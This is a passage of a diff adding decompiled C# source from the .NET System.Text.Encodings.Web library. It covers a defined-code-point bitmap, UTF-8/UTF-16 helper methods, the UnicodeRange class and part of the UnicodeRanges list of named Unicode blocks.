+ 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 15, 0, 255, 255, 127, 248, 255, 255, 255, 255, + 255, 15, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 63, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 3, 0, 0, + 0, 0, 127, 0, 248, 224, 255, 255, 127, 95, + 219, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 7, 0, 248, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 252, 255, 255, 255, 255, 255, + 255, 128, 0, 0, 0, 0, 255, 255, 255, 255, + 255, 3, 255, 255, 255, 255, 255, 255, 247, 255, + 127, 15, 223, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 31, + 254, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 127, 252, 252, 252, 28, 127, 127, + 0, 62 + }; + + internal static ReadOnlySpan GetDefinedBmpCodePointsBitmapLittleEndian() + { + return DefinedCharsBitmapSpan; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static void GetUtf16SurrogatePairFromAstralScalarValue(uint scalar, out char highSurrogate, out char lowSurrogate) + { + highSurrogate = (char)(scalar + 56557568 >> 10); + lowSurrogate = (char)((scalar & 0x3FF) + 56320); + } + + internal static int GetUtf8RepresentationForScalarValue(uint scalar) + { + if (scalar <= 127) + { + return (byte)scalar; + } + if (scalar <= 2047) + { + byte b = (byte)(0xC0 | (scalar >> 6)); + byte b2 = (byte)(0x80 | (scalar & 0x3F)); + return (b2 << 8) | b; + } + if (scalar <= 65535) + { + byte b3 = (byte)(0xE0 | (scalar >> 12)); + byte b4 = (byte)(0x80 | ((scalar >> 6) & 0x3F)); + byte b5 = (byte)(0x80 | (scalar & 0x3F)); + return (((b5 << 8) | b4) << 8) | b3; + } + byte b6 = (byte)(0xF0 | (scalar >> 18)); + byte b7 = (byte)(0x80 | ((scalar >> 12) & 0x3F)); + byte b8 = (byte)(0x80 | ((scalar >> 6) & 0x3F)); + byte b9 = (byte)(0x80 | (scalar & 0x3F)); + return (((((b9 << 8) | b8) << 8) | b7) << 8) | b6; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool IsSupplementaryCodePoint(int scalar) + { + return (scalar & -65536) != 0; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Unicode/UnicodeRange.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Unicode/UnicodeRange.cs new file mode 100644 index 0000000..1af6774 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Unicode/UnicodeRange.cs @@ -0,0 +1,31 @@ +namespace System.Text.Unicode; + +public sealed class UnicodeRange +{ + public int FirstCodePoint { get; private set; } + + public int Length { get; private set; } + + public UnicodeRange(int firstCodePoint, int length) + { + if (firstCodePoint < 0 || firstCodePoint > 65535) + { + throw new ArgumentOutOfRangeException("firstCodePoint"); + } + if (length < 0 || (long)firstCodePoint + (long)length > 65536) + { + throw new ArgumentOutOfRangeException("length"); + } + FirstCodePoint = firstCodePoint; + Length = length; + } + + public static UnicodeRange Create(char firstCharacter, char lastCharacter) + { + if (lastCharacter < firstCharacter) + { + throw new ArgumentOutOfRangeException("lastCharacter"); + } + return new UnicodeRange(firstCharacter, 1 + (lastCharacter - firstCharacter)); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Unicode/UnicodeRanges.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Unicode/UnicodeRanges.cs new file mode 100644 index 0000000..9886867 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Unicode/UnicodeRanges.cs @@ -0,0 +1,670 @@ +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace System.Text.Unicode; + +public static class UnicodeRanges +{ + private static UnicodeRange _none; + + private static UnicodeRange _all; + + private static UnicodeRange _u0000; + + private static UnicodeRange _u0080; + + private static UnicodeRange _u0100; + + private static UnicodeRange _u0180; + + private static UnicodeRange _u0250; + + private static UnicodeRange _u02B0; + + private static UnicodeRange _u0300; + + private static UnicodeRange _u0370; + + private static UnicodeRange _u0400; + + private static UnicodeRange _u0500; + + private static UnicodeRange _u0530; + + private static UnicodeRange _u0590; + + private static UnicodeRange _u0600; + + private static UnicodeRange _u0700; + + private static UnicodeRange _u0750; + + private static UnicodeRange _u0780; + + private static UnicodeRange _u07C0; + + private static UnicodeRange _u0800; + + private static UnicodeRange _u0840; + + private static UnicodeRange _u0860; + + private static UnicodeRange _u0870; + + private static UnicodeRange _u08A0; + + private static UnicodeRange _u0900; + + private static UnicodeRange _u0980; + + private static UnicodeRange _u0A00; + + private static UnicodeRange _u0A80; + + private static UnicodeRange _u0B00; + + private static UnicodeRange _u0B80; + + private static UnicodeRange _u0C00; + + private static UnicodeRange _u0C80; + + private static UnicodeRange _u0D00; + + private static UnicodeRange _u0D80; + + private static UnicodeRange _u0E00; + + private static UnicodeRange _u0E80; + + private static UnicodeRange _u0F00; + + private static UnicodeRange _u1000; + + private static UnicodeRange _u10A0; + + private static UnicodeRange _u1100; + + private static UnicodeRange _u1200; + + private static UnicodeRange _u1380; + + private static UnicodeRange _u13A0; + + private static UnicodeRange _u1400; + + private static UnicodeRange _u1680; + + private static UnicodeRange _u16A0; + + private static UnicodeRange _u1700; + + private static UnicodeRange _u1720; + + private static UnicodeRange _u1740; + + private static UnicodeRange _u1760; + + private static UnicodeRange _u1780; + + private static UnicodeRange _u1800; + + private static UnicodeRange _u18B0; + + private static UnicodeRange _u1900; + + private static UnicodeRange _u1950; + + private static UnicodeRange _u1980; + + private static UnicodeRange _u19E0; + + private static UnicodeRange _u1A00; + + private static UnicodeRange _u1A20; + + private static UnicodeRange _u1AB0; + + private static UnicodeRange _u1B00; + + private static UnicodeRange _u1B80; + + private static UnicodeRange _u1BC0; + + private static UnicodeRange _u1C00; + + private static UnicodeRange _u1C50; + + private static UnicodeRange _u1C80; + + private static UnicodeRange _u1C90; + + private static UnicodeRange _u1CC0; + + private static UnicodeRange _u1CD0; + + private static UnicodeRange _u1D00; + + private static UnicodeRange _u1D80; + + private static UnicodeRange _u1DC0; + + private static UnicodeRange _u1E00; + + private static UnicodeRange _u1F00; + + private static UnicodeRange _u2000; + + private static UnicodeRange _u2070; + + private static UnicodeRange _u20A0; + + private static UnicodeRange _u20D0; + + private static UnicodeRange _u2100; + + private static UnicodeRange _u2150; + + private static UnicodeRange _u2190; + + private static UnicodeRange _u2200; + + private static UnicodeRange _u2300; + + private static UnicodeRange _u2400; + + private static UnicodeRange _u2440; + + private static UnicodeRange _u2460; + + private static UnicodeRange _u2500; + + private static UnicodeRange _u2580; + + private static UnicodeRange _u25A0; + + private static UnicodeRange _u2600; + + private static UnicodeRange _u2700; + + private static UnicodeRange _u27C0; + + private static UnicodeRange _u27F0; + + private static UnicodeRange _u2800; + + private static UnicodeRange _u2900; + + private static UnicodeRange _u2980; + + private static UnicodeRange _u2A00; + + private static UnicodeRange _u2B00; + + private static UnicodeRange _u2C00; + + private static UnicodeRange _u2C60; + + private static UnicodeRange _u2C80; + + private static UnicodeRange _u2D00; + + private static UnicodeRange _u2D30; + + private static UnicodeRange _u2D80; + + private static UnicodeRange _u2DE0; + + private static UnicodeRange _u2E00; + + private static UnicodeRange _u2E80; + + private static UnicodeRange _u2F00; + + private static UnicodeRange _u2FF0; + + private static UnicodeRange _u3000; + + private static UnicodeRange _u3040; + + private static UnicodeRange _u30A0; + + private static UnicodeRange _u3100; + + private static UnicodeRange _u3130; + + private static UnicodeRange _u3190; + + private static UnicodeRange _u31A0; + + private static UnicodeRange _u31C0; + + private static UnicodeRange _u31F0; + + private static UnicodeRange _u3200; + + private static UnicodeRange _u3300; + + private static UnicodeRange _u3400; + + private static UnicodeRange _u4DC0; + + private static UnicodeRange _u4E00; + + private static UnicodeRange _uA000; + + private static UnicodeRange _uA490; + + private static UnicodeRange _uA4D0; + + private static UnicodeRange _uA500; + + private static UnicodeRange _uA640; + + private static UnicodeRange _uA6A0; + + private static UnicodeRange _uA700; + + private static UnicodeRange _uA720; + + private static UnicodeRange _uA800; + + private static UnicodeRange _uA830; + + private static UnicodeRange _uA840; + + private static UnicodeRange _uA880; + + private static UnicodeRange _uA8E0; + + private static UnicodeRange _uA900; + + private static UnicodeRange _uA930; + + private static UnicodeRange _uA960; + + private static UnicodeRange _uA980; + + private static UnicodeRange _uA9E0; + + private static UnicodeRange _uAA00; + + private static UnicodeRange _uAA60; + + private static UnicodeRange _uAA80; + + private static UnicodeRange _uAAE0; + + private static UnicodeRange _uAB00; + + private static UnicodeRange _uAB30; + + private static UnicodeRange _uAB70; + + private static UnicodeRange _uABC0; + + private static UnicodeRange _uAC00; + + private static UnicodeRange _uD7B0; + + private static UnicodeRange _uF900; + + private static UnicodeRange _uFB00; + + private static UnicodeRange _uFB50; + + private static UnicodeRange _uFE00; + + private static UnicodeRange _uFE10; + + private static UnicodeRange _uFE20; + + private static UnicodeRange _uFE30; + + private static UnicodeRange _uFE50; + + private static UnicodeRange _uFE70; + + private static UnicodeRange _uFF00; + + private static UnicodeRange _uFFF0; + + public static UnicodeRange None => _none ?? CreateEmptyRange(ref _none); + + public static UnicodeRange All => _all ?? CreateRange(ref _all, '\0', '\uffff'); + + public static UnicodeRange BasicLatin => _u0000 ?? CreateRange(ref _u0000, '\0', '\u007f'); + + public static UnicodeRange Latin1Supplement => _u0080 ?? CreateRange(ref _u0080, '\u0080', 'ÿ'); + + public static UnicodeRange LatinExtendedA => _u0100 ?? CreateRange(ref _u0100, 'Ā', 'ſ'); + + public static UnicodeRange LatinExtendedB => _u0180 ?? CreateRange(ref _u0180, 'ƀ', 'ɏ'); + + public static UnicodeRange IpaExtensions => _u0250 ?? CreateRange(ref _u0250, 'ɐ', 'ʯ'); + + public static UnicodeRange SpacingModifierLetters => _u02B0 ?? CreateRange(ref _u02B0, 'ʰ', '\u02ff'); + + public static UnicodeRange CombiningDiacriticalMarks => _u0300 ?? CreateRange(ref _u0300, '\u0300', '\u036f'); + + public static UnicodeRange GreekandCoptic => _u0370 ?? CreateRange(ref _u0370, 'Ͱ', 'Ͽ'); + + public static UnicodeRange Cyrillic => _u0400 ?? CreateRange(ref _u0400, 'Ѐ', 'ӿ'); + + public static UnicodeRange CyrillicSupplement => _u0500 ?? CreateRange(ref _u0500, 'Ԁ', 'ԯ'); + + public static UnicodeRange Armenian => _u0530 ?? CreateRange(ref _u0530, '\u0530', '֏'); + + public static UnicodeRange Hebrew => _u0590 ?? CreateRange(ref _u0590, '\u0590', '\u05ff'); + + public static UnicodeRange Arabic => _u0600 ?? CreateRange(ref _u0600, '\u0600', 'ۿ'); + + public static UnicodeRange Syriac => _u0700 ?? CreateRange(ref _u0700, '܀', 'ݏ'); + + public static UnicodeRange ArabicSupplement => _u0750 ?? CreateRange(ref _u0750, 'ݐ', 'ݿ'); + + public static UnicodeRange Thaana => _u0780 ?? CreateRange(ref _u0780, 'ހ', '\u07bf'); + + public static UnicodeRange NKo => _u07C0 ?? CreateRange(ref _u07C0, '߀', '߿'); + + public static UnicodeRange Samaritan => _u0800 ?? CreateRange(ref _u0800, 'ࠀ', '\u083f'); + + public static UnicodeRange Mandaic => _u0840 ?? CreateRange(ref _u0840, 'ࡀ', '\u085f'); + + public static UnicodeRange SyriacSupplement => _u0860 ?? CreateRange(ref _u0860, 'ࡠ', '\u086f'); + + public static UnicodeRange ArabicExtendedB => _u0870 ?? CreateRange(ref _u0870, 'ࡰ', '\u089f'); + + public static UnicodeRange ArabicExtendedA => _u08A0 ?? CreateRange(ref _u08A0, 'ࢠ', '\u08ff'); + + public static UnicodeRange Devanagari => _u0900 ?? CreateRange(ref _u0900, '\u0900', 'ॿ'); + + public static UnicodeRange Bengali => _u0980 ?? CreateRange(ref _u0980, 'ঀ', '\u09ff'); + + public static UnicodeRange Gurmukhi => _u0A00 ?? CreateRange(ref _u0A00, '\u0a00', '\u0a7f'); + + public static UnicodeRange Gujarati => _u0A80 ?? CreateRange(ref _u0A80, '\u0a80', '\u0aff'); + + public static UnicodeRange Oriya => _u0B00 ?? CreateRange(ref _u0B00, '\u0b00', '\u0b7f'); + + public static UnicodeRange Tamil => _u0B80 ?? CreateRange(ref _u0B80, '\u0b80', '\u0bff'); + + public static UnicodeRange Telugu => _u0C00 ?? CreateRange(ref _u0C00, '\u0c00', '౿'); + + public static UnicodeRange Kannada => _u0C80 ?? CreateRange(ref _u0C80, 'ಀ', '\u0cff'); + + public static UnicodeRange Malayalam => _u0D00 ?? CreateRange(ref _u0D00, '\u0d00', 'ൿ'); + + public static UnicodeRange Sinhala => _u0D80 ?? CreateRange(ref _u0D80, '\u0d80', '\u0dff'); + + public static UnicodeRange Thai => _u0E00 ?? CreateRange(ref _u0E00, '\u0e00', '\u0e7f'); + + public static UnicodeRange Lao => _u0E80 ?? CreateRange(ref _u0E80, '\u0e80', '\u0eff'); + + public static UnicodeRange Tibetan => _u0F00 ?? CreateRange(ref _u0F00, 'ༀ', '\u0fff'); + + public static UnicodeRange Myanmar => _u1000 ?? CreateRange(ref _u1000, 'က', '႟'); + + public static UnicodeRange Georgian => _u10A0 ?? CreateRange(ref _u10A0, 'Ⴀ', 'ჿ'); + + public static UnicodeRange HangulJamo => _u1100 ?? CreateRange(ref _u1100, 'ᄀ', 'ᇿ'); + + public static UnicodeRange Ethiopic => _u1200 ?? CreateRange(ref _u1200, 'ሀ', '\u137f'); + + public static UnicodeRange EthiopicSupplement => _u1380 ?? CreateRange(ref _u1380, 'ᎀ', '\u139f'); + + public static UnicodeRange Cherokee => _u13A0 ?? CreateRange(ref _u13A0, 'Ꭰ', '\u13ff'); + + public static UnicodeRange UnifiedCanadianAboriginalSyllabics => _u1400 ?? CreateRange(ref _u1400, '᐀', 'ᙿ'); + + public static UnicodeRange Ogham => _u1680 ?? CreateRange(ref _u1680, '\u1680', '\u169f'); + + public static UnicodeRange Runic => _u16A0 ?? CreateRange(ref _u16A0, 'ᚠ', '\u16ff'); + + public static UnicodeRange Tagalog => _u1700 ?? CreateRange(ref _u1700, 'ᜀ', 'ᜟ'); + + public static UnicodeRange Hanunoo => _u1720 ?? CreateRange(ref _u1720, 'ᜠ', '\u173f'); + + public static UnicodeRange Buhid => _u1740 ?? CreateRange(ref _u1740, 'ᝀ', '\u175f'); + + public static UnicodeRange Tagbanwa => _u1760 ?? CreateRange(ref _u1760, 'ᝠ', '\u177f'); + + public static UnicodeRange Khmer => _u1780 ?? CreateRange(ref _u1780, 'ក', '\u17ff'); + + public static UnicodeRange Mongolian => _u1800 ?? CreateRange(ref _u1800, '᠀', '\u18af'); + + public static UnicodeRange UnifiedCanadianAboriginalSyllabicsExtended => _u18B0 ?? CreateRange(ref _u18B0, 'ᢰ', '\u18ff'); + + public static UnicodeRange Limbu => _u1900 ?? CreateRange(ref _u1900, 'ᤀ', '᥏'); + + public static UnicodeRange TaiLe => _u1950 ?? CreateRange(ref _u1950, 'ᥐ', '\u197f'); + + public static UnicodeRange NewTaiLue => _u1980 ?? CreateRange(ref _u1980, 'ᦀ', '᧟'); + + public static UnicodeRange KhmerSymbols => _u19E0 ?? CreateRange(ref _u19E0, '᧠', '᧿'); + + public static UnicodeRange Buginese => _u1A00 ?? CreateRange(ref _u1A00, 'ᨀ', '᨟'); + + public static UnicodeRange TaiTham => _u1A20 ?? CreateRange(ref _u1A20, 'ᨠ', '\u1aaf'); + + public static UnicodeRange CombiningDiacriticalMarksExtended => _u1AB0 ?? CreateRange(ref _u1AB0, '\u1ab0', '\u1aff'); + + public static UnicodeRange Balinese => _u1B00 ?? CreateRange(ref _u1B00, '\u1b00', '᭿'); + + public static UnicodeRange Sundanese => _u1B80 ?? CreateRange(ref _u1B80, '\u1b80', 'ᮿ'); + + public static UnicodeRange Batak => _u1BC0 ?? CreateRange(ref _u1BC0, 'ᯀ', '᯿'); + + public static UnicodeRange Lepcha => _u1C00 ?? CreateRange(ref _u1C00, 'ᰀ', 'ᱏ'); + + public static UnicodeRange OlChiki => _u1C50 ?? CreateRange(ref _u1C50, '᱐', '᱿'); + + public static UnicodeRange CyrillicExtendedC => _u1C80 ?? CreateRange(ref _u1C80, 'ᲀ', '\u1c8f'); + + public static UnicodeRange GeorgianExtended => _u1C90 ?? CreateRange(ref _u1C90, 'Ა', 'Ჿ'); + + public static UnicodeRange SundaneseSupplement => _u1CC0 ?? CreateRange(ref _u1CC0, '᳀', '\u1ccf'); + + public static UnicodeRange VedicExtensions => _u1CD0 ?? CreateRange(ref _u1CD0, '\u1cd0', '\u1cff'); + + public static UnicodeRange PhoneticExtensions => _u1D00 ?? CreateRange(ref _u1D00, 'ᴀ', 'ᵿ'); + + public static UnicodeRange PhoneticExtensionsSupplement => _u1D80 ?? CreateRange(ref _u1D80, 'ᶀ', 'ᶿ'); + + public static UnicodeRange CombiningDiacriticalMarksSupplement => _u1DC0 ?? CreateRange(ref _u1DC0, 